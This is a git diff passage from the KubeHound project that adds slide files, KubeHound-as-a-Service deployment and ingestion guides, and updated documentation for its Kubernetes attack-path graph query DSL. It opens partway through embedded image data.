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AACIBABxEICztik1Tcw16qLuiWV1nhXltW5VUrSY43CyrsK6traW0uWeUXVNmUVtVaW9XW2pAisckvrLCuqJLX/iRKSCxIJDSsbokSSbGzIvG/GTB0kiIBWxY9NSQzSEzI4oY/674vSbRbYcWZF1V8l27O9hKFP1XRUZWkUaq7uzjUOthZ10gkYlycHcscXUSOrtauwN3BtlDY29dsXTOJRQmSvQ2YEhwCAiAAAuZKwLD/sZir9bALBEAABEAABEAABEAABEBAVQQgQFQ1XTAWBEAABEAABEAABEAABNRNAAJE3fMH60EABEAABEAABEAABEBAVQQgQFQ1XTAWBEAABEAABEAABEAABNRNAAJE3fMH60EABEAABEAABEAABEBAVQQgQFQ1XTAWBEAABEAABEAABEAABNRNAAJE3fMH60EABEAABEAABEAABEBAVQQgQFQ1XTAWBEAABEAABEAABEAABNRNAAJE3fMH60EABEAABEAABEAABEBAVQQgQFQ1XTAWBEAABEAABEAABEAABNRNAAJE3fMH60EABEAABEAABEAABEBAVQQgQFQ1XTAWBEAABEAABEAABEAABNRNAAJE3fMH60EABEAABEAABEAABEBAVQQgQFQ1XTAWBEAABEAABEAABEAABNRNAAJE3fMH60EABEAABEAABEAABEBAVQQgQFQ1XTAWBEAABEAABEAABEAABNRNAAJE3fMH60EABEAABEAABEAABEBAVQQgQFQ1XTAWBEAABEAABEAABEAABNRNAAJE3fMH60EABEAABEAABEAABEBAVQQgQFQ1XTAWBEAABEAABEAABEAABNRNAAJE3fMH60EABEAABEAABEAABEBAVQQgQFQ1XTAWBEAABEAABEAABEAABNRNAAJE3fMH60EABEAABEAABEAABEBAVQQgQFQ1XTAWBEAABEAABEAABEAABNRNAAJE3fMH60EABEAABEAABEAABEBAVQQgQFQ1XTAWBEAABEAABEAABEAABNRNAAJE3fMH60EABEAABEAABEAABEBAVQQgQFQ1XTAWBEAABEAABEAABEAABNRNAAJE3fMH60EABEAABEAABEAABEBAVQQgQFQ1XTAWBEAABEAABEAABEAABNRNAAJE3fMH60EABEAABEAABEAABEBAVQQgQFQ1XTAWBEAABEAABEAABEAABNRNAAJE3fMH60EABEAABEAABEAABEBAVQQgQFQ1XTAWBEAABEAABEAABEAABNRN4P8BnsHtChCiBhAAAAAASUVORK5CYII=", + "created": 1719058593346, + "size": { + "height": 800, + "width": 800 + }, + "hasSVGwithBitmap": false, + "shouldScale": true + } + } +} \ No newline at end of file diff --git a/docs/files/Troopers24/Kubehound-Troopers_2024-slides.pdf b/docs/files/Troopers24/Kubehound-Troopers_2024-slides.pdf new file mode 100644 index 000000000..238736905 Binary files /dev/null and b/docs/files/Troopers24/Kubehound-Troopers_2024-slides.pdf differ diff --git a/docs/files/hacklu24/Kubehound-HackLu2024-slides.pdf b/docs/files/hacklu24/Kubehound-HackLu2024-slides.pdf new file mode 100644 index 000000000..80a9cd124 Binary files /dev/null and b/docs/files/hacklu24/Kubehound-HackLu2024-slides.pdf differ diff --git a/docs/files/hacklu24/Kubehound-Workshop-HackLu24.pdf b/docs/files/hacklu24/Kubehound-Workshop-HackLu24.pdf new file mode 100644 index 000000000..1acfe28bb Binary files /dev/null and b/docs/files/hacklu24/Kubehound-Workshop-HackLu24.pdf differ diff --git a/docs/files/insomnihack24/Kubehound - Insomni'Hack 2024 - images.excalidraw b/docs/files/insomnihack24/Kubehound - InsomniHack 2024 - images.excalidraw similarity index 100% rename from docs/files/insomnihack24/Kubehound - Insomni'Hack 2024 - images.excalidraw rename to docs/files/insomnihack24/Kubehound - InsomniHack 2024 - images.excalidraw diff --git a/docs/files/insomnihack24/Kubehound - Insomni'Hack 2024 - slides.pdf b/docs/files/insomnihack24/Kubehound - InsomniHack 2024 - slides.pdf similarity index 100% rename from docs/files/insomnihack24/Kubehound - Insomni'Hack 2024 - slides.pdf rename to docs/files/insomnihack24/Kubehound - InsomniHack 2024 - slides.pdf diff --git a/docs/images/graph-model.drawio.png b/docs/images/graph-model.drawio.png new file mode 100644 index 000000000..2f7222d3f Binary files /dev/null and b/docs/images/graph-model.drawio.png differ diff --git a/docs/images/khaas-architecture.png b/docs/images/khaas-architecture.png new file mode 100644 index 000000000..ebce2d2f9 Binary files /dev/null and b/docs/images/khaas-architecture.png differ diff --git a/docs/images/kubehound-local-commands.png b/docs/images/kubehound-local-commands.png new file mode 100644 index 000000000..8b2ad0a41 Binary files /dev/null and b/docs/images/kubehound-local-commands.png differ diff --git a/docs/khaas/advanced-configuration.md b/docs/khaas/advanced-configuration.md new file mode 100644 index 000000000..0a1ba9899 --- /dev/null +++ b/docs/khaas/advanced-configuration.md @@ -0,0 +1,52 @@ +# Advanced configuration + +This section covers all the available flags in KubeHound. +!!! note + + If you don't want to specify the bucket every time, you can set it up in your local config file (`./kubehound.yaml` or `$HOME/.config/kubehound.yaml`). See [getting started with KHaaS](./getting-started.md) + +## Manual collection + +In order to use `kubehound` with KHaaS, you need to specify the api endpoint you want to use: + +- `--khaas-server` from the inline flags (by default `127.0.0.1:9000`) + +## Dump and ingest + +In order to use the collector with KHaaS you need to specify the dump location for the k8s resources: + +- `--bucket_url` from the inline flags (i.e. `s3://`). There is no default value for security reason. +- `--region` from the inline flags (i.e. `us-east-1`) to set the region to retrieve the configuration (only for s3). + +!!! warning + + The `kubehound` binary needs to have push access to your cloud storage provider. + +To dump and ingest the current k8s cluster, you just need to run the following command (i.e. using an AWS config): + +```bash +kubehound dump remote --khaas-server 127.0.0.1:9000 --insecure --bucket_url s3:// --region us-east-1 +``` + +The last command will: + +- **dump the k8s resources** to the cloud storage provider. +- send a grpc call to **run the ingestion on the KHaaS** grpc endpoint. + +!!! note + + The ingestion will dump the current cluster being setup, if you want to skip the interactive mode, just specify `-y` or `--non-interactive` + +### Manual ingestion + +If you want to rehydrate (reingesting all the latest clusters dumps), you can use the `ingest` command to run it. + +```bash +kubehound ingest remote --khaas-server 127.0.0.1:9000 --insecure +``` + +You can also specify a specific dump by using the `--cluster` and `run_id` flags. + +```bash +kubehound ingest remote --khaas-server 127.0.0.1:9000 --insecure --cluster my-cluster-1 --run_id 01htdgjj34mcmrrksw4bjy2e94 +``` diff --git a/docs/khaas/deployment.md b/docs/khaas/deployment.md new file mode 100644 index 000000000..78a78aa2f --- /dev/null +++ b/docs/khaas/deployment.md @@ -0,0 +1,71 @@ +# Deploying KHaaS - Ingestor stack + +!!! warning "deprecated" + + The `kubehound-ingestor` has been deprecated since **v1.5.0** and renamed to `kubehound-binary`. + +## Docker deployment + +To run the KubeHound as a Service with `docker` just use the following [compose files](https://github.com/DataDog/KubeHound/tree/main/deployments/kubehound). First you need to set the environment variables in the `kubehound.env` file. There is a template file `kubehound.env.template` that you can use as a reference. + +```bash +cd ./deployments/kubehound +docker compose -f docker-compose.yaml -f docker-compose.release.yaml -f docker-compose.release.ingestor.yaml --profile jupyter up -d +``` + +By default the endpoints are only exposed locally: + +- `127.0.0.1:9000` for ingestor endpoint. +- `127.0.0.1:8888` for the UI. + +For the UI 2 profiles (`--profile`) are available, you need to pick one: + +- `jupyter` to spawn a Jupyter backend compatible with Janusgraph endpoint ([aws graph-notebook](https://github.com/aws/graph-notebook)). +- `invana` to spawn the [Invana Studio](https://github.com/invana/invana-studio), a dedicated UI for Janusgraph (this is also deploying the invana backend). **We do not encourage to use as it is not maintained anymore**. + +!!! warning + + You should change the default password by editing `NOTEBOOK_PASSWORD=` in the `docker-compose.yaml` + +## k8s deployment + +To run the KubeHound as a Service on Kubernetes just use the following [helm files](https://github.com/DataDog/KubeHound/tree/main/deployments/k8s): + +```bash +cd ./deployments/k8s +helm install khaas khaas --namespace khaas --create-namespace +``` + +If it succeeded you should see the deployment listed: + +```bash +$ helm ls -A +NAME NAMESPACE REVISION UPDATED STATUS CHART APP VERSION +khaas khaas 1 2024-07-30 19:04:37.0575 +0200 CEST deployed kubehound-0.0.1 +``` + +!!! Note + + This is an example to deploy KubeHound as a Service in k8s cluster, but you will need to adapt it to your own environment. + +## k8s collector + +When deploying the collector inside a k8s cluster, we need to configure one of the following variable: + +- `KH_K8S_CLUSTER_NAME`: variable indicating the name of the targetted k8s cluster + +### RBAC requirements + +In order for the collector to work it needs access to the k8s API and the following k8s ClusterRole: + +| apiGroups | resources | verb | +| ------------------------- | ------------------------------------------------------------ | ----------- | +| rbac.authorization.k8s.io | roles
rolebindings
clusterroles
clusterrolebindings | get
list | +| | pods
nodes
| get
list | +| discovery.k8s.io | endpointslices | get
list | + +The definition of the k8s RBAC can find here: + +- [clusterRole](https://github.com/DataDog/KubeHound/tree/main/deployments/k8s/khaas/templates/cluster_role.yaml) +- [clusterRoleBinding](https://github.com/DataDog/KubeHound/tree/main/deployments/k8s/khaas/templates/cluster_role_binding.yaml) +- [serviceAccount](https://github.com/DataDog/KubeHound/tree/main/deployments/k8s/khaas/templates/service_account.yaml) diff --git a/docs/khaas/getting-started.md b/docs/khaas/getting-started.md new file mode 100644 index 000000000..33c2b8bbc --- /dev/null +++ b/docs/khaas/getting-started.md @@ -0,0 +1,57 @@ +# KubeHound as a Service (KHaaS) + +KHaaS enables you to use KubeHound in a distributive way. It is split in 2 main categories: + +- The ingestor stack which includes the `graphdb`, `storedb`, `UI` and `grpc endpoint`. +- The collector (the kubehound binary) which will dump and send the k8s resources to the KHaaS `grpc endpoint`. + +[![](../images/khaas-architecture.png)](../images/khaas-architecture.png) + +!!! note + + You need to deploy the data storage you want to use ([AWS s3 in our example](https://github.com/DataDog/KubeHound/tree/main/deployments/terraform)). + +## Automatic collection + +KHaaS has been created to be deployed inside a kubernetes cluster. This eases scaling and allows you to set Kubernetes `CronJob` daily dumps of your infrastucture for instance. To configure and deploy it, please refer to the [deployment](deployment.md) section. + +## Manual collection + +In order to use `kubehound` with KHaaS, you need to specify the api endpoint you want to use. Since this is not likely to change in your environment, we recommend using the local config file. By default KubeHound will look for `./kubehound.yaml` or `$HOME/.config/kubehound.yaml`. For instance if the default configuration we set the endpoint with disabled SSL: + +```yaml +ingestor: + blob: + bucket_url: "" # (i.e.: s3://your-bucket) + region: "us-east-1" # (i.e.: us-east-1) + api: + endpoint: "127.0.0.1:9000" + insecure: true +``` + +!!! note + + You can use [kubehound-reference.yaml](https://github.com/DataDog/KubeHound/blob/main/configs/etc/kubehound-reference.yaml) as an example which list every options. + +Once everything is configured you just run the following, it will: + +- **dump the k8s resources** and push it compressed to the cloud storage provider. +- send a grpc call to **run the ingestion on the KHaaS** grpc endpoint. + +```bash +kubehound dump remote +``` + +## Manual ingestion + +If you want to rehydrate (reingesting all the latest clusters dumps), you can use the `ingest` command to run it. + +```bash +kubehound ingest remote +``` + +You can also specify a specific dump by using the `--cluster` and `run_id` flags. + +```bash +kubehound ingest remote --cluster my-cluster-1 --run_id 01htdgjj34mcmrrksw4bjy2e94 +``` diff --git a/docs/queries/dsl.md b/docs/queries/dsl.md index cd8447335..f01d2e42e 100644 --- a/docs/queries/dsl.md +++ b/docs/queries/dsl.md @@ -2,22 +2,63 @@ The KubeHound graph ships with a custom DSL that simplifies queries for the most common use cases -```groovy -// Example returning all attacks from containers running the cilium 1.11.18 image -kh.containers().has("image", "eu.gcr.io/internal/cilium:1.11.18").attacks() -``` - ## Using the KubeHound graph -The KubeHound DSL can be used by starting a traversal with `kh` vs the traditional `g`. All gremlin queries will work exactly as normal, but a number of additional steps specific to KubeHound will be available. +The KubeHound DSL can be used by starting a traversal with `kh` instead of the traditional `g`. All gremlin queries will work exactly as normal, but a number of additional methods, specific to KubeHound, will be available. ```groovy // First 100 vertices in the kubehound graph kh.V().limit(100) ``` -## KubeHound Constants +## List of available methods + +_DSL definition code available [here](https://github.com/DataDog/KubeHound/blob/main/deployments/kubehound/kubegraph/dsl/kubehound/src/main/java/com/datadog/ase/kubehound/)._ + +### Retrieve cluster data + +> These methods are defined in the [`KubeHoundTraversalSourceDsl`](https://github.com/DataDog/KubeHound/blob/main/deployments/kubehound/graph/dsl/kubehound/src/main/java/com/datadog/ase/kubehound/KubeHoundTraversalSourceDsl.java) class. + +| Method | Gremlin equivalent | Example usage | +| --------------------------- | ----------------------------------------------------- | --------------------------------------------------------------------------- | +| `.cluster([string...])` | `.has("class","Cluster")` | `kh.cluster("kind-kubehound.local")` | +| `.containers([string...])` | `.has("class","Container")` | `kh.cluster("kind-kubehound.local").containers("nginx")` | +| `.endpoints([int])` | `.has("class","Endpoint")` | `kh.cluster("kind-kubehound.local").endpoints(3)` | +| `.hostMounts([string...])` | `.has("class","Volume").has("type", "HostPath")` | `kh.cluster("kind-kubehound.local").hostMounts("/proc")` | +| `.nodes([string...])` | `.has("class","Node")` | `kh.cluster("kind-kubehound.local").nodes("control-plane")` | +| `.permissions([string...])` | `.has("class","PermissionSet")` | `kh.cluster("kind-kubehound.local").permissions("system::kube-controller")` | +| `.pods([string...])` | `.has("class","Pod")` | `kh.cluster("kind-kubehound.local").pods("app-pod")` | +| `.run([string...])` | `.has("runID", P.within(ids))` | `kh.run("01he5ebh73tah762qgdd5k4wqp")` | +| `.services([string...])` | `.has("class","Endpoint").has("exposure", "EXTERNAL")` | `kh.cluster("kind-kubehound.local").services("app-front-proxy")` | +| `.sas([string...])` | `.has("class","Identity").has("type", "ServiceAccount")` | `kh.cluster("kind-kubehound.local").sas("postgres-admin")` | +| `.users([string...])` | `.has("class","Identity").has("type", "User")` | `kh.cluster("kind-kubehound.local").users("user@domain.tld")` | +| `.groups([string...])` | `.has("class","Identity").has("type", "Group")` | `kh.cluster("kind-kubehound.local").groups("engineering")` | +| `.volumes([string...])` | `.has("class","Volume")` | `kh.cluster("kind-kubehound.local").volumes("db-data")` | + +### Retrieving attack oriented data + +> These methods are defined in the [`KubeHoundTraversalDsl`](https://github.com/DataDog/KubeHound/blob/main/deployments/kubehound/graph/dsl/kubehound/src/main/java/com/datadog/ase/kubehound/KubeHoundTraversalDsl.java) class. + +| Method | Gremlin equivalent | +| -------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| `.attacks()` | `.outE().inV().path()` | +| `.critical()` | `.has("critical", true)` | +| `.criticalPaths(int)` | see [KubeHoundTraversalDsl.java](https://github.com/DataDog/KubeHound/blob/main/deployments/kubehound/graph/dsl/kubehound/src/main/java/com/datadog/ase/kubehound/KubeHoundTraversalDsl.java) | +| `.criticalPathsFilter(int, string...)` | see [KubeHoundTraversalDsl.java](https://github.com/DataDog/KubeHound/blob/main/deployments/kubehound/graph/dsl/kubehound/src/main/java/com/datadog/ase/kubehound/KubeHoundTraversalDsl.java) | +| `.criticalPathsFreq([maxHops])` | see [KubeHoundTraversalDsl.java](https://github.com/DataDog/KubeHound/blob/main/deployments/kubehound/graph/dsl/kubehound/src/main/java/com/datadog/ase/kubehound/KubeHoundTraversalDsl.java) | +| `.hasCriticalPath()` | `.where(__.criticalPaths().limit(1))` | +| `.minHopsToCritical([maxHops])` | see [KubeHoundTraversalDsl.java](https://github.com/DataDog/KubeHound/blob/main/deployments/kubehound/graph/dsl/kubehound/src/main/java/com/datadog/ase/kubehound/KubeHoundTraversalDsl.java) | +For more detailed explanation, please see below. + +Example of a kubehound DSL capabilities: + +```groovy +// Example returning all attacks from containers running the cilium 1.11.18 image +kh.containers().has("image", "eu.gcr.io/internal/cilium:1.11.18").attacks() +``` + +## KubeHound Constants ### Endpoint Exposure @@ -26,7 +67,7 @@ Represents the exposure level of endpoints in the KubeHound graph ```java // Defines the exposure of an endpoint within the KubeHound model public enum EndpointExposure { - None, + None, ClusterIP, // Container port exposed to cluster NodeIP, // Kubernetes endpoint exposed outside the cluster External, // Kubernetes endpoint exposed outside the cluster @@ -55,6 +96,7 @@ kh.run("01he5ebh73tah762qgdd5k4wqp", "01he5eagzbnhtfnwzg7xxbyfz4") // All containers in the graph from a single run kh.run("01he5ebh73tah762qgdd5k4wqp").containers() ``` + ### Cluster Step Starts a traversal that finds all vertices from the specified cluster(s). @@ -99,7 +141,7 @@ kh.containers().has("namespace", "ns1").limit(10) Starts a traversal that finds all vertices with a "Pod" label and optionally allows filtering of those vertices on the "name" property. ```java -GraphTraversal pods(String... names) +GraphTraversal pods(String... names) ``` Example usage: @@ -120,7 +162,7 @@ kh.pods().has("namespace", "ns1").limit(10) Starts a traversal that finds all vertices with a "Node" label and optionally allows filtering of those vertices on the "name" property. ```java -GraphTraversal nodes(String... names) +GraphTraversal nodes(String... names) ``` Example usage: @@ -141,7 +183,7 @@ kh.nodes().has("team", "sre").limit(10) Starts a traversal that finds all container escape edges from a Container vertex to a Node vertex and optionally allows filtering of those vertices on the "nodeNames" property. ```java -GraphTraversal escapes(String... nodeNames) +GraphTraversal escapes(String... nodeNames) ``` Example usage: @@ -178,10 +220,10 @@ kh.endpoints(EndpointExposure.External) ### Services Step -Starts a traversal that finds all vertices with a "Endpoint" label representing K8s services. +Starts a traversal that finds all vertices with a "Endpoint" label representing K8s services. ```java -GraphTraversal services(String... portNames) +GraphTraversal services(String... portNames) ``` Example usage: @@ -199,7 +241,7 @@ kh.services().has("port", 9999).limit(10) ### Volumes Step -Starts a traversal that finds all vertices with a "Volume" label and optionally allows filtering of those vertices on the "name" property. +Starts a traversal that finds all vertices with a "Volume" label and optionally allows filtering of those vertices on the "name" property. ```java GraphTraversal volumes(String... names) @@ -351,14 +393,19 @@ kh.permissions().has("app", "web-app").limit(10) From a Vertex traverse immediate edges to display the next set of possible attacks and targets ```java -GraphTraversal attacks() +GraphTraversal attacks() ``` Example usage: +!!!note + The `attacks()` step returns paths, which can be further processed with other steps. You can use + the `elementMap()` step to display the properties of the vertices and edges in the path. + Invoking the `attacks()` step alone will raise a query error. + ```groovy // All attacks possible from a specific container in the graph -kh.containers("pwned-container").attacks() +kh.containers("pwned-container").attacks().by(elementMap()) ``` ### Critical Step @@ -390,17 +437,22 @@ GraphTraversal criticalPaths(int maxHops) Example usage: +!!!note + The `criticalPaths()` step returns paths, which can be further processed with other steps. You can use + the `elementMap()` step to display the properties of the vertices and edges in the path. + Invoking the `criticalPaths()` step alone will raise a query error. + ```groovy // All attack paths from services to a critical asset -kh.services().criticalPaths() +kh.services().criticalPaths().by(elementMap()) // All attack paths (up to 5 hops) from a compromised credential to a critical asset -kh.group("engineering").criticalPaths(5) +kh.group("engineering").criticalPaths(5).by(elementMap()) ``` ### CriticalPathsFilter Step -From a Vertex traverse edges EXCLUDING labels provided in `exclusions` until `maxHops` is exceeded or a critical asset is reached and return all paths. +From a Vertex traverse edges EXCLUDING labels provided in `exclusions` until `maxHops` is exceeded or a critical asset is reached and return all paths. ```java GraphTraversal criticalPathsFilter(int maxHops, String... exclusions) @@ -408,9 +460,14 